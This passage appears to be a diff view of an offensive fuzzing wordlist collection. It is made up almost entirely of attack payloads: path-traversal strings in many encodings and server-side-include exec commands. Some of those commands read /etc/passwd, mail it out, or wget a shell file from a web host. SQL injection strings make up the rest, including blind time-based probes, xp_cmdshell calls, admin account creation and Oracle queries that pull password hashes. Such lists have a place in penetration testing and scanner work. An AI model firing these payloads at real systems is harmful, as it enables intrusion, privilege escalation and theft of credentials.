/\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
/\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
/\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
/..//{FILE}
|
||||
/..//..//{FILE}
|
||||
/..//..//..//{FILE}
|
||||
/..//..//..//..//{FILE}
|
||||
/..//..//..//..//..//{FILE}
|
||||
/..//..//..//..//..//..//{FILE}
|
||||
/..//..//..//..//..//..//..//{FILE}
|
||||
/..//..//..//..//..//..//..//..//{FILE}
|
||||
/..///{FILE}
|
||||
/..///..///{FILE}
|
||||
/..///..///..///{FILE}
|
||||
/..///..///..///..///{FILE}
|
||||
/..///..///..///..///..///{FILE}
|
||||
/..///..///..///..///..///..///{FILE}
|
||||
/..///..///..///..///..///..///..///{FILE}
|
||||
/..///..///..///..///..///..///..///..///{FILE}
|
||||
/..\\{FILE}
|
||||
/..\\..\\{FILE}
|
||||
/..\\..\\..\\{FILE}
|
||||
/..\\..\\..\\..\\{FILE}
|
||||
/..\\..\\..\\..\\..\\{FILE}
|
||||
/..\\..\\..\\..\\..\\..\\{FILE}
|
||||
/..\\..\\..\\..\\..\\..\\..\\{FILE}
|
||||
/..\\..\\..\\..\\..\\..\\..\\..\\{FILE}
|
||||
/..\\\{FILE}
|
||||
/..\\\..\\\{FILE}
|
||||
/..\\\..\\\..\\\{FILE}
|
||||
/..\\\..\\\..\\\..\\\{FILE}
|
||||
/..\\\..\\\..\\\..\\\..\\\{FILE}
|
||||
/..\\\..\\\..\\\..\\\..\\\..\\\{FILE}
|
||||
/..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}
|
||||
/..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}
|
||||
/./\/./{FILE}
|
||||
/./\/././\/./{FILE}
|
||||
/./\/././\/././\/./{FILE}
|
||||
/./\/././\/././\/././\/./{FILE}
|
||||
/./\/././\/././\/././\/././\/./{FILE}
|
||||
/./\/././\/././\/././\/././\/././\/./{FILE}
|
||||
/./\/././\/././\/././\/././\/././\/././\/./{FILE}
|
||||
/./\/././\/././\/././\/././\/././\/././\/././\/./{FILE}
|
||||
/.\/\.\{FILE}
|
||||
/.\/\.\.\/\.\{FILE}
|
||||
/.\/\.\.\/\.\.\/\.\{FILE}
|
||||
/.\/\.\.\/\.\.\/\.\.\/\.\{FILE}
|
||||
/.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}
|
||||
/.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}
|
||||
/.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}
|
||||
/.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}
|
||||
/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}
|
||||
/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}
|
||||
/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}
|
||||
/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}
|
||||
/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}
|
||||
/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}
|
||||
/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}
|
||||
/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}
|
||||
/.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE}
|
||||
/.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE}
|
||||
/.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE}
|
||||
/.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE}
|
||||
/.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}
|
||||
/.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}
|
||||
/.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}
|
||||
/.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}
|
||||
/./../{FILE}
|
||||
/./.././../{FILE}
|
||||
/./.././.././../{FILE}
|
||||
/./.././.././.././../{FILE}
|
||||
/./.././.././.././.././../{FILE}
|
||||
/./.././.././.././.././.././../{FILE}
|
||||
/./.././.././.././.././.././.././../{FILE}
|
||||
/./.././.././.././.././.././.././.././../{FILE}
|
||||
/.\..\{FILE}
|
||||
/.\..\.\..\{FILE}
|
||||
/.\..\.\..\.\..\{FILE}
|
||||
/.\..\.\..\.\..\.\..\{FILE}
|
||||
/.\..\.\..\.\..\.\..\.\..\{FILE}
|
||||
/.\..\.\..\.\..\.\..\.\..\.\..\{FILE}
|
||||
/.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}
|
||||
/.\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}
|
||||
/.//..//{FILE}
|
||||
/.//..//.//..//{FILE}
|
||||
/.//..//.//..//.//..//{FILE}
|
||||
/.//..//.//..//.//..//.//..//{FILE}
|
||||
/.//..//.//..//.//..//.//..//.//..//{FILE}
|
||||
/.//..//.//..//.//..//.//..//.//..//.//..//{FILE}
|
||||
/.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}
|
||||
/.//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}
|
||||
/.\\..\\{FILE}
|
||||
/.\\..\\.\\..\\{FILE}
|
||||
/.\\..\\.\\..\\.\\..\\{FILE}
|
||||
/.\\..\\.\\..\\.\\..\\.\\..\\{FILE}
|
||||
/.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}
|
||||
/.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}
|
||||
/.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}
|
||||
/.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}
|
||||
/../{FILE}
|
||||
/../..//{FILE}
|
||||
/../..//../{FILE}
|
||||
/../..//../..//{FILE}
|
||||
/../..//../..//../{FILE}
|
||||
/../..//../..//../..//{FILE}
|
||||
/../..//../..//../..//../{FILE}
|
||||
/../..//../..//../..//../..//{FILE}
|
||||
/..\{FILE}
|
||||
/..\..\\{FILE}
|
||||
/..\..\\..\{FILE}
|
||||
/..\..\\..\..\\{FILE}
|
||||
/..\..\\..\..\\..\{FILE}
|
||||
/..\..\\..\..\\..\..\\{FILE}
|
||||
/..\..\\..\..\\..\..\\..\{FILE}
|
||||
/..\..\\..\..\\..\..\\..\..\\{FILE}
|
||||
/..///{FILE}
|
||||
/../..///{FILE}
|
||||
/../..//..///{FILE}
|
||||
/../..//../..///{FILE}
|
||||
/../..//../..//..///{FILE}
|
||||
/../..//../..//../..///{FILE}
|
||||
/../..//../..//../..//..///{FILE}
|
||||
/../..//../..//../..//../..///{FILE}
|
||||
/..\\\{FILE}
|
||||
/..\..\\\{FILE}
|
||||
/..\..\\..\\\{FILE}
|
||||
/..\..\\..\..\\\{FILE}
|
||||
/..\..\\..\..\\..\\\{FILE}
|
||||
/..\..\\..\..\\..\..\\\{FILE}
|
||||
/..\..\\..\..\\..\..\\..\\\{FILE}
|
||||
/..\..\\..\..\\..\..\\..\..\\\{FILE}
|
||||
/\..%2f
|
||||
/\..%2f\..%2f
|
||||
/\..%2f\..%2f\..%2f
|
||||
/\..%2f\..%2f\..%2f\..%2f
|
||||
/\..%2f\..%2f\..%2f\..%2f\..%2f
|
||||
/\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f
|
||||
/\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f
|
||||
/\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f{FILE}
|
||||
2241
attack/rfi/rfi.txt
Normal file
2241
attack/rfi/rfi.txt
Normal file
File diff suppressed because it is too large
Load diff
78
attack/server-side-include/server-side-includes-generic.txt
Normal file
78
attack/server-side-include/server-side-includes-generic.txt
Normal file
|
|
@ -0,0 +1,78 @@
|
|||
<!--#config errmsg="File not found, informs users and password"-->
|
||||
<!--#config timefmt="A %B %d %Y %r"-->
|
||||
<!--#echo var="auth_type" -->
|
||||
<!--#echo var="content_length" -->
|
||||
<!--#echo var="content_type" -->
|
||||
<!--#echo var="date_gmt" -->
|
||||
<!--#echo var="date_local" -->
|
||||
<!--#echo var="DATE_LOCAL" -->
|
||||
<!--#echo var="document_name" -->
|
||||
<!--#echo var="DOCUMENT_NAME" -->
|
||||
<!--#echo var="document_root" -->
|
||||
<!--#echo var="document_uri" -->
|
||||
<!--#echo var="DOCUMENT_URI" -->
|
||||
<!--#echo var="forwarded" -->
|
||||
<!--#echo var="from" -->
|
||||
<!--#echo var="gateway_interface" -->
|
||||
<!--#echo var="http_accept" -->
|
||||
<!--#echo var="http_accept_charset" -->
|
||||
<!--#echo var="http_accept_encoding" -->
|
||||
<!--#echo var="http_accept_language" -->
|
||||
<!--#echo var="http_client_ip" -->
|
||||
<!--#echo var="http_connection" -->
|
||||
<!--#echo var="http_cookie" -->
|
||||
<!--#echo var="http_form" -->
|
||||
<!--#echo var="http_host" -->
|
||||
<!--#echo var="http_referer" -->
|
||||
<!--#echo var="http_ua_cpu" -->
|
||||
<!--#echo var="http_ua_os" -->
|
||||
<!--#echo var="http_user_agent" -->
|
||||
<!--#echo var="last_modified" -->
|
||||
<!--#echo var="netsite_root" -->
|
||||
<!--#echo var="page_count" -->
|
||||
<!--#echo var="path" -->
|
||||
<!--#echo var="path_info" -->
|
||||
<!--#echo var="path_info_translated" -->
|
||||
<!--#echo var="path_translated" -->
|
||||
<!--#echo var="query_string" -->
|
||||
<!--#echo var="query_string_unescaped" -->
|
||||
<!--#echo var="remote_addr" -->
|
||||
<!--#echo var="remote_host" -->
|
||||
<!--#echo var="remote_ident" -->
|
||||
<!--#echo var="remote_port" -->
|
||||
<!--#echo var="remote_user" -->
|
||||
<!--#echo var="request_method" -->
|
||||
<!--#echo var="request_uri" -->
|
||||
<!--#echo var="script_filename" -->
|
||||
<!--#echo var="script_name" -->
|
||||
<!--#echo var="script_uri" -->
|
||||
<!--#echo var="script_url" -->
|
||||
<!--#echo var="server_addr" -->
|
||||
<!--#echo var="server_admin" -->
|
||||
<!--#echo var="server_name -->
|
||||
<!--#echo var="server_port" -->
|
||||
<!--#echo var="server_protocol" -->
|
||||
<!--#echo var="server_software" -->
|
||||
<!--#echo var="site_htmlroot" -->
|
||||
<!--#echo var="total_hits" -->
|
||||
<!--#echo var="tz" -->
|
||||
<!--#echo var="unique_id" -->
|
||||
<!--#echo var="user_name" -->
|
||||
<!--#exec cmd="/bin/ls /" -->
|
||||
<!--#exec cmd="/bin/ls /" --><br/>
|
||||
<!--#exec cmd="cat /etc/passwd" --><br/>
|
||||
<!--#exec cmd="cd C:\WINDOWS\System32">
|
||||
<!--#exec cmd="dir" -->
|
||||
<!--#exec cmd="find / -name *.* -print" --><br/>
|
||||
<!--#exec cmd="ls" -->
|
||||
<!--#exec cmd="mail email@dom.tld <mailto:email@dom.tld> < cat /etc/passwd" --><br/>
|
||||
<!--#exec cmd="wget http://website.com/dir/shell.txt" -->
|
||||
<!--#exec cmd="whoami"-->
|
||||
<!--#flastmod virtual="echo.html" -->
|
||||
<!--#fsize file="ssi.shtml" -->
|
||||
<!--#include file=?UUUUUUUU...UU?-->
|
||||
<!--#printenv -->
|
||||
<pre><!--#echo var="DATE_LOCAL" --> </pre>
|
||||
<pre><!--#exec cmd="dir" --></pre>
|
||||
<pre><!--#exec cmd="ls" --></pre>
|
||||
<pre><!--#exec cmd="whoami"--></pre>
|
||||
41
attack/sql-injection/detect/GenericBlind.txt
Normal file
41
attack/sql-injection/detect/GenericBlind.txt
Normal file
|
|
@ -0,0 +1,41 @@
|
|||
sleep(__TIME__)#
|
||||
1 or sleep(__TIME__)#
|
||||
" or sleep(__TIME__)#
|
||||
' or sleep(__TIME__)#
|
||||
" or sleep(__TIME__)="
|
||||
' or sleep(__TIME__)='
|
||||
1) or sleep(__TIME__)#
|
||||
") or sleep(__TIME__)="
|
||||
') or sleep(__TIME__)='
|
||||
1)) or sleep(__TIME__)#
|
||||
")) or sleep(__TIME__)="
|
||||
')) or sleep(__TIME__)='
|
||||
;waitfor delay '0:0:__TIME__'--
|
||||
);waitfor delay '0:0:__TIME__'--
|
||||
';waitfor delay '0:0:__TIME__'--
|
||||
";waitfor delay '0:0:__TIME__'--
|
||||
');waitfor delay '0:0:__TIME__'--
|
||||
");waitfor delay '0:0:__TIME__'--
|
||||
));waitfor delay '0:0:__TIME__'--
|
||||
'));waitfor delay '0:0:__TIME__'--
|
||||
"));waitfor delay '0:0:__TIME__'--
|
||||
benchmark(10000000,MD5(1))#
|
||||
1 or benchmark(10000000,MD5(1))#
|
||||
" or benchmark(10000000,MD5(1))#
|
||||
' or benchmark(10000000,MD5(1))#
|
||||
1) or benchmark(10000000,MD5(1))#
|
||||
") or benchmark(10000000,MD5(1))#
|
||||
') or benchmark(10000000,MD5(1))#
|
||||
1)) or benchmark(10000000,MD5(1))#
|
||||
")) or benchmark(10000000,MD5(1))#
|
||||
')) or benchmark(10000000,MD5(1))#
|
||||
pg_sleep(__TIME__)--
|
||||
1 or pg_sleep(__TIME__)--
|
||||
" or pg_sleep(__TIME__)--
|
||||
' or pg_sleep(__TIME__)--
|
||||
1) or pg_sleep(__TIME__)--
|
||||
") or pg_sleep(__TIME__)--
|
||||
') or pg_sleep(__TIME__)--
|
||||
1)) or pg_sleep(__TIME__)--
|
||||
")) or pg_sleep(__TIME__)--
|
||||
')) or pg_sleep(__TIME__)--
|
||||
1
attack/sql-injection/detect/Generic_SQLI.txt
Normal file
1
attack/sql-injection/detect/Generic_SQLI.txt
Normal file
|
|
@ -0,0 +1 @@
|
|||
|
||||
16
attack/sql-injection/detect/MSSQL.txt
Normal file
16
attack/sql-injection/detect/MSSQL.txt
Normal file
|
|
@ -0,0 +1,16 @@
|
|||
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
|
||||
'create user name identified by 'pass123' --
|
||||
'create user name identified by pass123 temporary tablespace temp default tablespace users;
|
||||
' ; drop table temp --
|
||||
'exec sp_addlogin 'name' , 'password' --
|
||||
' exec sp_addsrvrolemember 'name' , 'sysadmin' --
|
||||
' insert into mysql.user (user, host, password) values ('name', 'localhost', password('pass123')) --
|
||||
' grant connect to name; grant resource to name; --
|
||||
' insert into users(login, password, level) values( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)
|
||||
' or 1=1 --
|
||||
' union (select @@version) --
|
||||
' union (select NULL, (select @@version)) --
|
||||
' union (select NULL, NULL, (select @@version)) --
|
||||
' union (select NULL, NULL, NULL, (select @@version)) --
|
||||
' union (select NULL, NULL, NULL, NULL, (select @@version)) --
|
||||
' union (select NULL, NULL, NULL, NULL, NULL, (select @@version)) --
|
||||
8
attack/sql-injection/detect/MSSQL_blind.txt
Normal file
8
attack/sql-injection/detect/MSSQL_blind.txt
Normal file
|
|
@ -0,0 +1,8 @@
|
|||
'; if not(substring((select @@version),25,1) <> 0) waitfor delay '0:0:2' --
|
||||
'; if not(substring((select @@version),25,1) <> 5) waitfor delay '0:0:2' --
|
||||
'; if not(substring((select @@version),25,1) <> 8) waitfor delay '0:0:2' --
|
||||
'; if not(substring((select @@version),24,1) <> 1) waitfor delay '0:0:2' --
|
||||
'; if not(select system_user) <> 'sa' waitfor delay '0:0:2' --
|
||||
'; if is_srvrolemember('sysadmin') > 0 waitfor delay '0:0:2' --
|
||||
'; if not((select serverproperty('isintegratedsecurityonly')) <> 1) waitfor delay '0:0:2' --
|
||||
'; if not((select serverproperty('isintegratedsecurityonly')) <> 0) waitfor delay '0:0:2' --
|
||||
9
attack/sql-injection/detect/MySQL.txt
Normal file
9
attack/sql-injection/detect/MySQL.txt
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
1'1
|
||||
1 exec sp_ (or exec xp_)
|
||||
1 and 1=1
|
||||
1' and 1=(select count(*) from tablenames); --
|
||||
1 or 1=1
|
||||
1' or '1'='1
|
||||
1or1=1
|
||||
1'or'1'='1
|
||||
fake@ema'or'il.nl'='il.nl
|
||||
10
attack/sql-injection/detect/MySQL_MSSQL.txt
Normal file
10
attack/sql-injection/detect/MySQL_MSSQL.txt
Normal file
|
|
@ -0,0 +1,10 @@
|
|||
1
|
||||
1 and user_name() = 'dbo'
|
||||
\'; desc users; --
|
||||
1\'1
|
||||
1' and non_existant_table = '1
|
||||
' or username is not NULL or username = '
|
||||
1 and ascii(lower(substring((select top 1 name from sysobjects where xtype='u'), 1, 1))) > 116
|
||||
1 union all select 1,2,3,4,5,6,name from sysobjects where xtype = 'u' --
|
||||
1 uni/**/on select all from where
|
||||
|
||||
55
attack/sql-injection/detect/oracle.txt
Normal file
55
attack/sql-injection/detect/oracle.txt
Normal file
|
|
@ -0,0 +1,55 @@
|
|||
’ or ‘1’=’1
|
||||
' or '1'='1
|
||||
'||utl_http.request('httP://192.168.1.1/')||'
|
||||
' || myappadmin.adduser('admin', 'newpass') || '
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT banner FROM v$version WHERE ROWNUM=1)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT SYS.LOGIN_USER FROM DUAL)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT SYS.DATABASE_NAME FROM DUAL)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT host_name FROM v$instance)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(PASSWORD)) FROM SYS.USER$)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(table_name)) FROM sys.all_tables)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(column_name)) FROM sys.all_tab_columns)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(GRANTED_ROLE)) FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=1)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=1)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=1)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=1)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=2)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=2)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=2)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=2)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=2)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=3)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=3)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=3)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=3)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=3)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=4)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=4)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=4)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=4)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=4)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=5)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=5)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=5)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=5)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=5)) AND 'i'='i
|
||||
